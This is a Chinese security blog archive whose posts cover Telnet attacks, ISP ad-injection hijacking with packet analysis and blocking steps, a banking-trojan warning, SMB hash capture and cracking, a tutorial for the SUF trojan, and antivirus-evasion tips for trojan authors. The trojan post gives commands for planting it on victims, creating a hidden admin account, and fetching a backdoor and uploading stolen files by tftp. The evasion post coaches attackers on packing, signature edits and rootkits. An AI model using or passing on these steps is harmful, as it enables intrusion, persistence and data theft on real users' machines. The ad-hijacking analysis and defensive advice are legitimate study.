另一个有趣的现象是,Telnet可用于迅速判断目标是真实域还是虚拟域(其他一些方法也可做到这一点,不过没有这种方法快)。这一点可以帮助入侵者确切地出判断出要获取你的资源应该向哪一台机器下手,更精确地说就是,他该去入侵哪一台机器。

Telnet在快速判断某特定端口是否打开以及服务器上是否运行着特定程序方面也是一个强大的工具。Telnet本身也是用来进行服务拒绝式攻击的有力武器。例如,向Windows NT web 服务器的所在端口发送垃圾数据会导致目标处理器资源消耗高达100%,向其他端口发Telnet请求也可能导致主机挂起或崩溃,尤其是向端口135发送Telnet连接请求时。

⒉小结

Telnet可以被用于进行各种各样的入侵活动,或者用来剔除远程主机发送来的信息。到本书发行时为止,许多新的Telnet攻击技术即将产生。如果你运行网络并为用户提供Telnet服务,那还是小心点为好,尤其对那些新建的Telnet服务器,这些新的Telnet服务器中可能含有未被发现的"臭虫(bug)"。同时,因为Telnet具有很强的交互性并且向用户提供了在远程主机上执行命令的功能,Telnet上的任何漏洞都可能是致命的。在这一点上至少它同FTP和HTTP一样,甚至还会更糟。

星期五, 五月 04, 2007

电信强制推送恶意弹窗广告分析

电信强制推送恶意弹窗广告分析

参考阅读:

资讯魔方,电信域名劫持更加赤裸裸

关注:上海电信DNS劫持事件[含技术分析]

“中国电信恶意强制广告” 屏蔽器 1.3 版

详细叙述:中国电信互联星空四宗罪

作者 阿牛

聪明的流氓犯起傻来起来你也没法说什么了.安徽电信似乎又更改了广告弹出策略.
第一次弹出,似乎是跳转到 http://www.vnet.cn/goto.as... 下面,这个页面可以跟上一个url参数来确认目标.随后,安徽电信“改进”了这个页面,令它直接访问了 http://welcome.ah.vnet.cn
前面两个策略都可以使用内容审查规则轻松的屏蔽掉,可是现在,这个广告策略又再一次被改进.
这几天访问网站,很容易就会收到弹出窗口的提示,可是这些网站本身却并没有窗口弹出广告的相关策略。查看被弹出的广告页面,竟然是 http://welcome.ah.vnet.cn

当然,弹出窗口本身是被屏蔽了。然而,这个弹出窗口证明了广告代码已经在浏览器中被运行了一次,如果稍作修改,便可让你真切体会到推送消息为冬日为您带来的温暖。可是这个页面闪的太快了,以至于无法了解是从什么地方被传过来的,直到有一天深夜.....
打开Google看见浏览器状态栏提示“等待 http://61.132.254.153....”,立马按下Print Screen,保留了这张珍贵且具有纪念意义的照片。

找一个网站一查 安徽电信机房的。可惜时间已晚,于是偶睡觉去了。

这张珍贵的照片令我久久不能平静,它令我我心潮澎湃、热血沸腾.....的做了几个噩梦。
天亮,用Tracert探探路,到61.132.254.153,到达的时候反馈了Destination protocol unreachable。我太菜,不懂什么意思,大家可以google。
然后ping了一下welcome.ah.vnet.cn,发现他的IP正是61.132.254.153....于是为什么浏览器不能屏蔽的答案揭晓了——菜鸟们换用IP了,而浏览器屏蔽的是域名关键字。
打开 http://61.132.254.153 看看,依然是我们久违的欢迎界面,标题栏上赫然写着“安徽电信欢迎您”这几个令人亲切+感动以至呕吐到极点的字。

我们再来看看 http://welcome.ah.vnet.cn/... 反馈的HTML代码。
果然在其中发现了弹出窗口的代码(像是某菜鸟使用Dreamweaver初级教程中的窗口弹出制作法完成)
这个广告弹出机制很明显,首先让这个没有被屏蔽的 http://61.132.254.153/welc... 弹出一个窗口,而这个窗口则打开
http://welcome.ah.vnet.cn
但是welcome2.php中并没有刷新或者跳转代码,也就是说这个窗口仅仅只能够弹出广告而已,流氓路由器还没有找到,反流氓依然任重道远。可惜我们不能整天守在浏览器前面用smsniff或者其他东西不停的听以便寻找301,只能沿着路线不准确的推断了。
用Tracert探 前往Google的路,得到以下数据。用白色框标记的是Tracert 61.132.254.153和Tracert www.Google.com 都必须通过的路线。这样一看很大概就知道是谁劫持的了吧。

这样说来,如果电信下三滥到这种程度,我们所能做的就是屏蔽URL里的“welcome”和“vnet”了。如果有高人能制作一个屏蔽电信和网通弹出广告的公益性浏览器插件,那么真将会造福全宇宙人民啊。
另外感叹,如果电信将广告弹出的东东插在域名系统的任何一个服务器里,那么后果...

似乎是从2006年11月底左右就开始的事情了,从我们安徽xx这里个人电信ADSL拨号上网的用户都会随机的被绑架去访问电信的网站:http://welcome.ah.vnet.cn/ 。比如你访问的是www.google.com,它给你返回上面这个新闻广告页面,但是浏览器标题栏显示是google.com。开始我以为是DNS绑架,后来我用北京的一个DNS服务器也不行,才明白这是最近流行的会话劫持。原理就是在省内(或市内)的某个路由器旁边架设一个并联设备,这个设备窃听用户信息,并随机在用户访问某个目的网站的时候冒充目的网站返回信息,具体可以从网上搜索"电信会话劫持“之类的关键词,比如这篇:http://www.williamlong.info/archives/439.html

我一直想抓这个log,看看它的手段,但是这个东西神出鬼没,不是每次访问都会被劫持,也不是每天都会被劫持,我又不能老开着sniffer,而且我那段时间比较闭塞又比较忙乱,心想:你流氓就流氓吧,我反正看我的东西,我从你的路上走,看到一两张广告也是没有办法的事情,最多按几下F5就过去了。

但是元旦出去旅行结婚回来后,这个流氓又来了,而且以前是显示页面的,现在好像显示时间很短很短,马上会重新定向到目的网址(refresh 1)。大概是因为新婚,人高兴,手气也好,前天侥幸抓到了log,高兴啊,简单分析了一下,没有地方发表,只好发到百度空间来,算是开门第一篇吧。

我的目的网站是blog.xfocus.net,安全焦点的blog,我比较常去,被劫持的几率是最高的,我的机器是twpc,ip地址用xxxx xxxx代替了;blog.xfocus.net(以下简称xfocus)的地址是61.144.203.221.

我们来看看它劫持的过程:
----------------劫持过程--------------------
11:11:14.531250 IP twpc.1040 > 61.144.203.221.80: S 2834153115:2834153115(0) win 64800
0x0000: 4500 0030 003e 4000 8006 5543 xxxx xxxx E..0.>@...UC....
0x0010: 3d90 cbdd 0410 0050 a8ed be9b 0000 0000 =......P........
0x0020: 7002 fd20 74e2 0000 0204 05a0 0101 0402 p...t...........
11:11:14.578125 IP 61.144.203.221.80 > twpc.1040: S 1838816872:1838816872(0) ack 2834153116 win 5840
0x0000: 4500 0030 0000 4000 3706 9e81 3d90 cbdd E..0..@.7...=...
0x0010: xxxx xxxx 0050 0410 6d9a 1e68 a8ed be9c .....P..m..h....
0x0020: 7012 16d0 cf0b 0000 0204 05b4 0101 0402 p...............
11:11:14.578125 IP twpc.1040 > 61.144.203.221.80: . ack 1 win 64800
0x0000: 4500 0028 003f 4000 8006 554a xxxx xxxx E..(.?@...UJ....
0x0010: 3d90 cbdd 0410 0050 a8ed be9c 6d9a 1e69 =......P....m..i
0x0020: 5010 fd20 157f 0000 P.......
11:11:14.578125 IP twpc.1040 > 61.144.203.221.80: P 1:509(508) ack 1 win 64800
0x0000: 4500 0224 0040 4000 8006 534d xxxx xxxx E..$.@@...SM....
0x0010: 3d90 cbdd 0410 0050 a8ed be9c 6d9a 1e69 =......P....m..i
0x0020: 5018 fd20 9304 0000 4745 5420 2f20 4854 P.......GET./.HT
0x0030: 5450 2f31 2e31 0d0a 486f 7374 3a20 626c TP/1.1..Host:.bl
0x0040: 6f67 2e78 666f 6375 732e 6e65 740d 0a55 og.xfocus.net..U
0x0050: 7365 722d 4167 656e 743a 204d 6f7a 696c ser-Agent:.Mozil
0x0060: 6c61 2f35 2e30 2028 5769 6e64 6f77 733b la/5.0.(Windows;
0x0070: 2055 3b20 5769 6e64 6f77 7320 4e54 2035 .U;.Windows.NT.5
0x0080: 2e31 3b20 656e 2d55 533b 2072 763a 312e .1;.en-US;.rv:1.
0x0090: 382e 302e 3929 2047 6563 6b6f 2f32 3030 8.0.9).Gecko/200
0x00a0: 3631 3230 3620 4669 7265 666f 782f 312e 61206.Firefox/1.
0x00b0: 352e 302e 390d 0a41 6363 6570 743a 2074 5.0.9..Accept:.t
0x00c0: 6578 742f 786d 6c2c 6170 706c 6963 6174 ext/xml,applicat
0x00d0: 696f 6e2f 786d 6c2c 6170 706c 6963 6174 ion/xml,applicat
0x00e0: 696f 6e2f 7868 746d 6c2b 786d 6c2c 7465 ion/xhtml+xml,te
0x00f0: 7874 2f68 746d 6c3b 713d 302e 392c 7465 xt/html;q=0.9,te
0x0100: 7874 2f70 6c61 696e 3b71 3d30 2e38 2c69 xt/plain;q=0.8,i
0x0110: 6d61 6765 2f70 6e67 2c2a 2f2a 3b71 3d30 mage/png,*/*;q=0
0x0120: 2e35 0d0a 4163 6365 7074 2d4c 616e 6775 .5..Accept-Langu
0x0130: 6167 653a 2065 6e2d 7573 2c65 6e3b 713d age:.en-us,en;q=
0x0140: 302e 350d 0a41 6363 6570 742d 456e 636f 0.5..Accept-Enco
0x0150: 6469 6e67 3a20 677a 6970 2c64 6566 6c61 ding:.gzip,defla
0x0160: 7465 0d0a 4163 6365 7074 2d43 6861 7273 te..Accept-Chars
0x0170: 6574 3a20 4953 4f2d 3838 3539 2d31 2c75 et:.ISO-8859-1,u
0x0180: 7466 2d38 3b71 3d30 2e37 2c2a 3b71 3d30 tf-8;q=0.7,*;q=0
0x0190: 2e37 0d0a 4b65 6570 2d41 6c69 7665 3a20 .7..Keep-Alive:.
0x01a0: 3330 300d 0a43 6f6e 6e65 6374 696f 6e3a 300..Connection:
0x01b0: 206b 6565 702d 616c 6976 650d 0a49 662d .keep-alive..If-
0x01c0: 4d6f 6469 6669 6564 2d53 696e 6365 3a20 Modified-Since:.
0x01d0: 5475 652c 2030 3920 4a61 6e20 3230 3037 Tue,.09.Jan.2007
0x01e0: 2030 333a 3232 3a32 3820 474d 540d 0a49 .03:22:28.GMT..I
0x01f0: 662d 4e6f 6e65 2d4d 6174 6368 3a20 2266 f-None-Match:."f
0x0200: 6332 3331 3530 3932 3165 6339 3830 3039 c23150921ec98009
0x0210: 3639 3063 6634 3430 3139 6665 3666 6622 690cf44019fe6ff"
0x0220: 0d0a 0d0a ....

----------------------------------------------------------
可以看出,tcp 3次握手是正常的,我标出的绿色的0x37(55)是真正的xfocus回给我的ttl ,估计xfocus开始ttl是64左右。 但是当我GET过后,回来的就不是xfocus给我的了,而是那台劫持设备的了,看,它的ttl是0x74(116),而且,它的ip id字段沿用我过去的包0x40,并且window也沿用我的64800,而且置位了Fin标志(造成我的机器收到后给真正的xfocus发了F)。从序列号来看,真正的xfocus在.671875才(又)回应,见那条亮蓝色的数据。 最后3个R可能是由于我向xfocus发了2个ACK+1个F,而这3个包是由于那个劫持设备发过来的我才回应的,而xfocus那边判断tcp序列号不对,所以有3个R.

电信要做这个劫持应该是很容易的事情,它离我比较近,收到我的GET后立刻返回给我广告页面,而真正的目的服务器离我很远,要等一会儿才会返回,这从我上面的时间戳就可以看出,况且电信用了F标志,我这里收到后会给真正的xfocus服务器发F标志从而中断链接。 但我分析实际上在这个例子中真正起作用的是tcp序列号机制,因为伪造的包已经用掉了序列号,再收到重复的序列号会被我以及目的机器的系统或者防火墙给屏蔽。

网上有很多朋友问如何能够去除这个流氓,很遗憾,它总是要来绑架你的,我们可以做的只不过可以让它的广告页面不显示,把welcome.ah.vnet.cn丢到浏览器的屏蔽列表或者防火墙的屏蔽列表里面去,或者在c:\windows\system32\drivers\etc\hosts文件中加入一行: 0.0.0.0 welcome.ah.vnet.cn。普通的个人用户是没有办法除去这个流氓的,这个是属于电信部门广告推送的计划,而且这个是做在路由器节点上面的,从理论 上讲,它有能力仿冒任意网站,比如它能够仿冒一些银行网站,它可以让你看到的是一个银行登录界面,但是数据全部是伪造的,这不是钓鱼,钓鱼是利用比较有迷 惑性的相似的网站名称或者利用社会工程学来欺骗;这也不是伪造DNS记录来pharming,pharming是利用DNS服务器漏洞来伪造DNS记录来 引导受害者;这个你是一点都不会感觉到差别的,如果它做得比较完美的话,本文所说的比如ttl,window等破绽都不会有的,这个对于控制着路由器的程序员来讲不是能不能做的问题,只 是他想不想做的问题。

前两天咨询了一个本市电信的工程师,他说这个可不是他们做的,他让我问北京去。倒。。。@#$@%#%*&) 这个岂不是要惊动中央首长了么! 我刚才traceroute了一下路径,if 这个劫持是安徽省的省级电信搞的话,那么它可能安装在202.97.18.154,当然前后2个路由器都有可疑,也可能从马鞍山走。

如何屏蔽电信强制广告

方法1:
我的屏蔽办法:打开C/windows/system32/drivers/etc用笔记本打开Hosts,
在host文件下加上下面几行:
127.0.0.1 welcome.ah.vnet.cn
127.0.0.1 *.vnet.cn
127.0.0.1 *.vnet.com
127.0.0.1 *.vnet.net
-----------------------------------------------------------------
127.0.0.1 (网址以跳出的域名为准)

原理:
修改hosts文件,不但可以屏蔽插件和广告,其实也可以加快打开网页的速度。因为在浏览器进行DNS请求以前,Windows系统会先检查自己的本地硬盘上的hosts文件中是否有这个网址映射关系,如果有就不用请求DNS去解析这个网址了。那么我们将经常上的网站的IP地址在hosts文件中映射一下,以后再浏览该网站的时候,就可以不用请求DNS解析,从而加快了访问速度。
host文件位置:
98和me系统下,hosts文件在Windows目录,在Windows
2000/XP系统中位于windosws/System32/Drivers/Etc目录中。Hosts文件没有后缀名,不过用记事本就能打开。右键单击hosts
文件,在“打开方式”中,选择用记事本打开。一般没有修改过的hosts文件,
参考:
安全问题
  针对windows调用hosts文件的机制,有些病毒会采取修改hosts文件来达到某些目的。因此要注意hosts文件的安全性。除了安装杀毒软件之外,在修改和保存hosts文件后,要给hosts文件加上只读属性,防止病毒修改。
  右键单击hosts文件,选择“属性”,弹出属性窗口,在“只读”前面打上勾,按“确定”退出。


方法2:
我一直都被它弄得很无奈。后来终于找到一条解决办法:我找到了这个页面的网址: http://welcome.ah.vnet.cn (注:我是安徽的,所在中间是ah,如果您是其它省市,可能会略有不同。) 把这个地址在IE的安全选项里设置为“受限制站点” 如果您装了防火墙,也可以把这个地址放入防火墙的“网站黑名单” 这样就可以啦!貌似电信又做了后继改进,它的原始IP为http://61.132.254.153,直接屏蔽该IP。
方法3:
现在很多地方的电信都在你打开网页的时候,页面请求DNS解析那一步,给你解析出来一个广告页面(比如网通电信移动之类大站点的广告),明显的特征就是你使用任何浏览器(IE核心的或者FireFox、Opera都是一样),然后过几秒重定向到你访问的页面(或者使用内嵌广告框架的方式)。前者的话,访问论坛而且又使用cookies就比较麻烦了,这个时候会显示你没有登录,烦人之极。
我们知道了原因是由于DNS解析造成的,下面就好办了。进入控制面板的网络连接中,右键点击ADSL拨号连接的那个图标,选择属性。然后在“网络”那页找到“Internet 协议(TCP/IP)”,选择属性。将“自动获得DNS服务器地址”改为“使用下面的DNS服务器地址”。
DNS服务器可以参考下表,也可以查看樱过去发布的DNS列表
樱的意见是加一个本地的DNS,再加一个国际化比较高的地区的DNS(如果经常浏览国外站点的话)
国内域名解析服务器DNS分布表
省 主服务器 辅服务器
北京DNS 202.106.196.115 202.106.0.20
上海DNS 202.96.199.133 202.96.0.133
天津DNS 202.99.96.68 10.10.64.68
广东DNS 202.96.128.68 202.96.128.110
河南DNS 202.102.227.68 202.102.245.12
广西DNS 202.96.128.68 202.103.224.68
福建DNS 202.101.98.54 202.101.98.55
湖南DNS 202.103.0.68 202.103.96.68
江苏DNS 202.102.15.162 202.102.29.3
陕西DNS 202.100.0.68 202.100.4.16
湖北DNS 202.103.0.68 10.54.2.136
山东DNS 202.102.154.3 202.102.152.3
浙江DNS 202.96.96.68 202.96.104.18
辽宁DNS 202.98.0.68 202.96.75.68
安徽DNS 202.102.192. 68 10.89.64.5
重庆DNS 61.128.128.68 61.128.128.67
黑龙江DNS 202.97.229. 133 202.97.224.68
河北DNS 202.99.160.68 10.17.128.90
吉林DNS 202.98.14.18 202.98.14.19
江西DNS 202.101.224.68 110.117.32.40
山西DNS 202.99.192.68 10.23.32.22
新疆DNS 61.128.97.74 61.128.97.73
贵州DNS 202.98.192.68 10.157.2.15
云南DNS 202.98.96.68 202.98.160.68
四川DNS 202.98.96.68 10.143.0.69
内蒙古DNS 202.99.224. 68 10.29.0.2
青海DNS 202.100.128.68 10.184.0.1
海南DNS 202.100.192.68 202.100.199.8
宁夏DNS 202.100.0.68 202.100.96.68
甘肃DNS 202.100.72.13 10.179.64.1
香港DNS 205.252.144.228 208.151.69.65
澳门DNS 202.175.3.8 202.175.3.3


杭州电信ADSL推放式广告:ADPortal广告行为再调查

今日在访问 www.sina.com www.sohu.com 等网站的时候浏览器总是提出拦截了一个网页地址(本人电脑无流氓软件之类)

http://219.133.33.46/adportal/portal1.aspx?param=×××××××××××××××××××× 的形式

param后的乱码用base64解码 得到

provinceid=20&cityid=57101&classid=6463&username=hzhza××××&sourceurl=www.sina.com/

经过转向转到 http://script101.ttsou.cn/getSrcAdvert.aspx?classid=8183¶m=×××××××××××××××

查询后 发现 域名归属

Domain Name: ttsou.cn
Registrant Organization: 深圳市零壹科技有限公司
Registrant Name: 谢洋
Administrative Email: [email=*********@gmail.com]*********@gmail.com[/email]

此公司从事的是一个叫搜索实名的广告业务

NCard ® 搜索实名联合了新浪网、中华网、Tom网等国内知名门户网站,融入主流推广产品特点,优势资源整合。采用“搜索活链接”+“网站直达”的双核心、多线程创新推广模式。通过门户联合推广与搜索直达技术的有效结合,让您的企业信息展现在三大门户、六大搜索,更能让您的网站第一时间出现在潜在客户眼前。

据分析其手段和电信魔方类似 在你打开新浪等网站的同时 劫持域名 跳出其广告页面

现在似乎和杭州电信联手 在杭州地区访问特定网站的时候就会弹出他的广告

你可以试试看 关闭浏览器的弹出广告设置 访问sina看看会不会跳出来这个广告


这种手段 比流氓软件还要流氓 让用户难以防范
我们交了昂贵的上网费 还要被迫看你的广告?!!

中国电信:定向直投网站初露端倪! -“锁定受众,冲破屏障”

我是四川南充中国电信,下午无意中点击 出现名为“定向直投”的站点, 地址为http://www.telxcm.com/ 这个页面诡异的很,马上就消失, 还是我点击了浏览器的停止按钮才看到的,里面的内容为电信流氓大做广告,看了让人火大:"弹出,漂浮,通栏",一个个名词都是我们深恶痛绝的,公司流氓尚有清理软件,官方流氓该如何是好?










拦截方法:为你的防火墙设置规则,这里以天网防火墙为例!
打开天网防火墙,打开规则列表,点击增加规则按钮,输入名称和说明,数据包方向选择接受或发送,对方IP地址选择指定地址,输入IP:219.133.33.46,数据包协议类型选择TCP!打勾确定即可,接着点击保存规则按钮!
接下来拦截页面,打开我的电脑,控制面板-Internet选项,安全,受限制的站点,站点按钮,添加地址http://219.133.33.46/*这里不推荐IE的拦截功能,如果你有自己的游览器,如GoSurf,那么效果会很好,GoSurf游览器添加方法:工具,GoSurf选项,广告过滤,阻止名单,阻止页面,添加http://219.133.33.46/*
这里不建议使用host过滤,因为host过滤的话页面打开时指向自己的IP的话,那么可能遇到页面打不开的情况,那么和没有过滤的效果是一样的(防火墙已经过滤),反而会停留这一页面,需要用户手动关闭,反而不方便!
接着这一步就很重要了,别问原因,照做就行!
开始,运行,mmc
文件,添加/删除管理单元,添加,双击IP安全策略管理
选择计算机域,本地计算机,完成,关闭,确定。
返回控制台要节点,多了(IP安全策略,在本地计算机)
IP安全策略,在本地机器,右键,创建IP安全策略,下一步,输入描述,下一步,激活默认相应规则,下一步,默认响应规则身份验证方法:此字符串用来保护密钥交换(预共享密钥),任意键入一段字符串,下一步,完成。
双击创建好的新IP安全策略,添加,安全规则向导,下一步,隧道终结点:此规则不指定隧道,下一步,所有网络连接,下一步,身份验证方法:此字符串用来保护密钥交换(预共享密钥)描述:拦截电信,下一步,IP筛选器列表,添加,下一步,IP通信源:我的IP地址,下一步,目标地址:指定IP地址,输入IP:219.133.33.46,下一步,IP协议类型:任何,下一步,完成,选中新创建的筛选器,下一步,筛选器操作:需要安全,下一步,完成,确定,关闭。
返回控制台,新的IP安全策略,右键,指派!
大功告成!

星期二, 五月 01, 2007

网购须当心:“网银大盗”6种攻击方式

网购须当心:“网银大盗”6种攻击方式

上海、浙江等地近日陆续发生了网上银行个人账户资金被黑客盗取事件,被盗金额最高达到十几万元。北京江民公司的反病毒专家提醒,随着“五一”黄金周临近,通过网上银行购物的消费行为会大幅增加,消费者应当心“网银大盗”等病毒偷袭。

  “网银大盗”是一种木马病毒,可以盗取多家网上银行及“支付宝”等系统的个人交易账户和密码。黑客通过在电脑中埋设“灰鸽子”木马,远程控制中毒电脑,以达到窃取网上银行数字证书等重要文件的目的。

  反病毒专家提醒,网上银行在为用户提供便捷服务的同时,也让黑客发现了非法牟利的新途径,专门针对网银的病毒充斥于互联网,严重影响网络安全环境。由于大多数病毒都是通过带毒网页、图片、邮件等方式感染电脑,因此网民应养成良好的上网习惯:

  ——选购带主动防御、实时监控等功能的正版杀毒软件;

  ——及时安装微软发布的安全漏洞补丁,及时升级杀毒软件病毒库,并在上网时启用实时监控功能;

  ——电脑经常进行病毒全面清查,不要随意点击陌生网址、邮件,接收邮件时要打开杀毒软件的邮件监控功能;

  ——登录网上银行页面时,尽量直接在浏览器地址栏中输入网址,慎用搜索引擎;

  ——登录交易系统时使用软键盘,通过鼠标点击方式输入交易账号及密码,交易完成后及时退出网上交易系统。

非主流入侵之会话劫持WinNT/2K HASH

非主流入侵之会话劫持WinNT/2K HASH

引言:

近来SMB会话劫持的讨论占据了个大技术论坛不少的位置,吸引了不少人的目光,同时绿盟月刊37期、Phrack杂志60期和安全焦点峰会也刊登出了相关的文章,使得SMB会话劫持成为一个热点。由于是window设计上的缺陷,这是一种无法察觉又非常可怕的攻击方法。本文试图从SMB数据包分析的角度来说明如何截获winnt/2k的hash,具体的实现就不公布了,请读者牢记前面的声明。

说明:

为了使文章有针对性,关于SMB协议以及SMB会话过程就不谈了,用到的时候会一带而过,感兴趣的朋友请自行查询附录中的参考文档。文中提到的数据包如果没有特别说明都是通过Sniffer pro截获到的,并且为了分析方便,去掉了物理帧头、IP头和TCP头,只留下NETB和SMB部分。

正文:

假设两台机器,一台为Client A,一台为SMBServer B。

一、session的建立:

设法让A去访问B的特定资源,产生一个NETBIOS会话。A发送Session request,其中包括经过编码的NETBIOS名字。B在139端口监听连接,收到A的request后,B发送Session confirm,其中没有任何内容。这样就建立了一个有效的session。其中Session request数据包的NETB Type为0x81,Session confirm数据包的NETB Type为0x82,可以在程序中通过判断这两个标志来确定是否产生一个有效的session,然后就可以想办法截获SMB包了。

二、Challenge的获得:

当有效的session建立后,就开始进行连接的确认工作了,从这一步中可以得到B发送给A的由B随机产生的Challenge。

过程如下:A向B发送一个身份认证的请求,B随机产生一个8字节的Challenge发送给A,这个Challenge就包含在B发回给A的Server Response数据包中。用Sniffer pro截获这个包后,去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做36个字节的偏移,下面的就是长度为8个字节的Challenge。这样就得到了我们需要的服务器随机产生的Challenge。

三、LM&NT HASH的获得:

A得到B发回的用于加密口令的Challenge后,向B发送建立空连接的请求,B返回Server Response包,此时IPC空连接成功建立。A然后发送LM&NT HASH给B,请求访问特定的资源,等待B的允许。我们需要做的就是截获A发送的这个SMB包。下面来看怎么拆解出HASH,还是去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做28个字节的偏移,下面的24个字节的内容就是LM HASH,紧接着的24个字节就是NT HASH。现在我们就获得了A主机的LM HASH和NT HASH。

四、HASH的破解

前面已经获得了Challenge、LM HASH和NT HASH,现在我们做成lc文件格式,下面就是导入lc4来暴力破解了。lc的文件格式如下:

192.168.0.244 ADMINIST-7Z6A4E\Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D

3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF

后面的三列数字分别为LM HASH、NT HASH、Challenge。

五、总结

本文旨在于讨论winnt/2k下SMB会话劫持的实现,相关问题请查阅参考文档。因为入侵方法复杂,并且需要一定的基础,所以,掌握的人并不多。我已经尽量写地简单,只要按照以上的步骤去做就能实现,具体的代码实现就不写了,有兴趣的朋友自己去研究吧。

网络入侵也玩双通道

  一个14岁的男孩经过无数次的实验,推出了一款全新的木马——SUF 1.0,该后门运用了“反弹端口原理”与“FTP 隧道技术”,也就是两台机器不直接传输数据,而是利用第三台机器(FTP服务器)来交换数据.

  SUF(Shell Use Ftp)顾名思义,就是通过FTP的Shell。这种奇妙的思路真叫绝的,它充分利用防火墙“外严内不严”的漏洞,客户端生成服务端后,把客户端主机的IP发送到FTP里,然后别人运行服务端后下载IP文件,然后通过反向连接,使客户端知道服务端上线,然后把要执行的命令发送到FTP里,服务端再读取FTP里要执行的命令,最后完成执行。

  说了这么一大堆,SUF是不是真的有这么厉害?用事实来说明一切,跟我来……

  一、摩拳擦掌——配置服务端

  和一般的木马后门大体相同,首先将下载下来的SUF 1.0解压缩,双击运行其中的client.exe,出现主窗口,非常简洁明了吧!点击“配置服务端”按钮,弹出了配置对话窗口,这里仅需要配置一下FTP服务选项。在“FTP”栏中填入一个有写权限的FTP服务器,如:Ftp.abc.com或者220.202.242.98。接着在“端口”栏中填写好FTP服务器端口,默认为21。再在“用户名”和“密码”栏中输入FTP帐户名称和密码,点击“配置服务器”,出现一提示对话框,点击“确定”,这时程序就会开始验证FTP服务器,验证成功后请选择木马服务端(server.exe)的路径,最后完成配置。

  小提示:如果要给服务端加壳,请在配置服务端之前给服务端(server.exe)加壳,服务端是可重复配置的。同时一定要确保使用的FTP帐户对FTP服务器有写的权限。

二、玩弄骨掌——轻松来控制

  接下来是玩木马后门必不可少的环节,那就是种植木马。种植木马的方法、途径有很多,以前也专门有文章介绍过,大家可以发挥自己的聪明才智,把服务端上传到肉鸡或者发给QQ好友等,当服务端程序被运行后,一般的使用者很难感觉到计算机有异常,防火墙也不会出现报警。其实,一只黑手正在慢慢靠近,服务端程序会自动从FTP服务器中获取客户端的IP地址,然后开始反向连接,这时服务端计算机的IP地址就会出现在客户端的“上线列表”中。

  小提示:客户端计算机必须是直接连接到Internet,而不能是处于内网中,同时,如果开启了防火墙的话,请打开5915端口。

  在“上线列表”中双击某一在线计算机的IP(例如:220.202.242.100),出现“连接到220.202.242.100”对话窗口,这就已经得到了目标计算机的一个系统权限的Shell,现在想干什么就自由发挥吧!

  想想既然是送上门的肉鸡,还是留个后门,以便日后再次光顾吧!这里就将Guest帐户激活,并提升为管理员,再开启目标计算机的Telnet服务,下面就看如何来实现?请输入命令:net user guest /active:yes,点击“运行”来激活Guest帐户,再运行命令:net localgroup administrators guest /add,将Guest加入管理员组,最后再运行命令:net start telnet,开启目标计算机的远程登录服务。

  其实,在这里有很多东东可以应用的,比如可以通过FTP命令或者TFTP来远程下载/上传文件。这里假设已经知道有一个TFTP服务器220.202.242.99,我们从服务器上下载一个后门程序Sy.exe,只要运行命令:tftp 220.202.242.99 get sy.exe;要把肉鸡上的一个数据文档Ccash.doc上传到TFTP服务器只要运行命令:tftp 220.202.242.99 put Ccash.doc。

  小提示:Windows自身附带了一个简单的文件上传下载程序Tftp.exe,可要建立TFTP服务器,就得借助TFTPD32了。

  三、摆脱控制——隔离隧道

  虽然SUF 1.0的实现方法非常隐蔽,可还是能够将其剿灭的,可以借助Active Ports(下载地址:http://www.ldcatv.com/soft/aports.rar)等端口实时监测工具来发现、中止它。如果中了SUF后门,就可在“Active Ports”主窗口中发现两个server.exe进程,其中一个通过4319端口与FTP服务器进行通讯,另一个通过4321端口与客户端计算机进行通讯。选择它们,再点击“Terminate Process”来结束进程。然后在资源管理器中将server.exe删除,这样就摆脱了SUF的控制。

剖析杀毒软件自我保护机制与木马对策

剖析杀毒软件自我保护机制与木马对策

作者:lvvl 来源:赛迪网安全社区

本文将说明现有防毒软件自我保护机制与木马们的防御对策。适合新手至高手阅读,如果现在你正担心你的木马被查杀,不妨看看此文,你定会有收获的。

前些天,看论坛上有很多人说用进程结束的方法消灭杀毒软件来保护自己的马儿。不知大家发现没有,AVP和KV以及瑞星的一些进程都是无法结束的。这样杀毒软件还在运行着,撞上你的马还是会杀掉的。现在来说说这些进程为什么杀不掉。

因为杀毒软件是运行于Ring0级的,程序资源级别分为0、1、2、3, 0级最高,3级最低。只有0级资源的才能访问0级资源的程序。Ring0级运行于内存最高端,享有最高有权限。一般的木马都是2级资源级别的(像灰鸽子、黑洞、阿拉QQ大盗等等),有些是1级(像Bio-Net、Beast等等 这种不多)。当然无法结束位于0级资源的杀毒软件进程。

但是黑洞2001-2004的版本,却可以用他的进程过滤搞定很多杀毒软件。这是为什么?因为,他是不用进程结束的,而是窗口标题检测,发现类似“杀毒、木马克星、安全”之类的字眼就向该窗口发送无条件退出命令(WWQ_Quit)。这样就可以免除Ring资源级别的障碍了。阿拉QQ大盗则是干扰其扫描引擎来达到阻止杀毒软件的目的。

关于实现0级对0级资源程序的操作

目前,尚无对杀毒软件进程有效的解决方案。本人才思不及,只能给出解决的编程思路。

要对Ring0级资源操作,必须是汇编级语言。大家可以用Vxd技术来实现,这样编写起来比较方便,而且用汇编语言编写很可能会被杀毒软件认为是病毒,因为其病毒特征过于明显。把整个程序写成驱动程序的形式,加入到系统内存顶端,就可以对杀毒软件进程为所欲为。

首先程序启动,在内存最高端开辟一块内存,把自身复制上去并运行。然后写启动,写服务。接着在内存中搜寻杀毒软件内存标识符,找到以后,把杀毒软件内存标识符所在区域用无用垃圾数据覆盖,导致其出错退出。这些过程不能借助 INT13 写盘中断来完成,否则会被判定位病毒的。必须绕过杀毒软件设下的写盘捕获陷阱,这就需要极其高超的编程技术了。像这种编程能力,除了丧心病狂的病毒编写者还有操作系统编写者,其他人是无力触及的。等你有了这种能力,那么离你的超级病毒出炉也就不远了。

木马的防杀对策

加壳

这个不用说,好处多得没完。打个比方:把一个人的手接到脚上,把脚接到手上,这样公安就认不得你啦。

修改特征码

这个也是在加壳失败以后对付杀毒软件的好方法。需要注意的是,一个病毒被定义的特征码往往不止一条!所以要修改很多对才可以免查杀,这个还得靠运气。有时修改的特征码不一定对,如果特征码很多,那么修改工作将异常痛苦。

花指令

原来被KV杀的,用花指令技术处理过后还是被杀?因为KV的断点跟踪会不断追踪下去,除非你的程序无限大,否则总有一天,KV会报毒。

Rootkit

超级内核后门。好处很多,具体大家自己体会了。

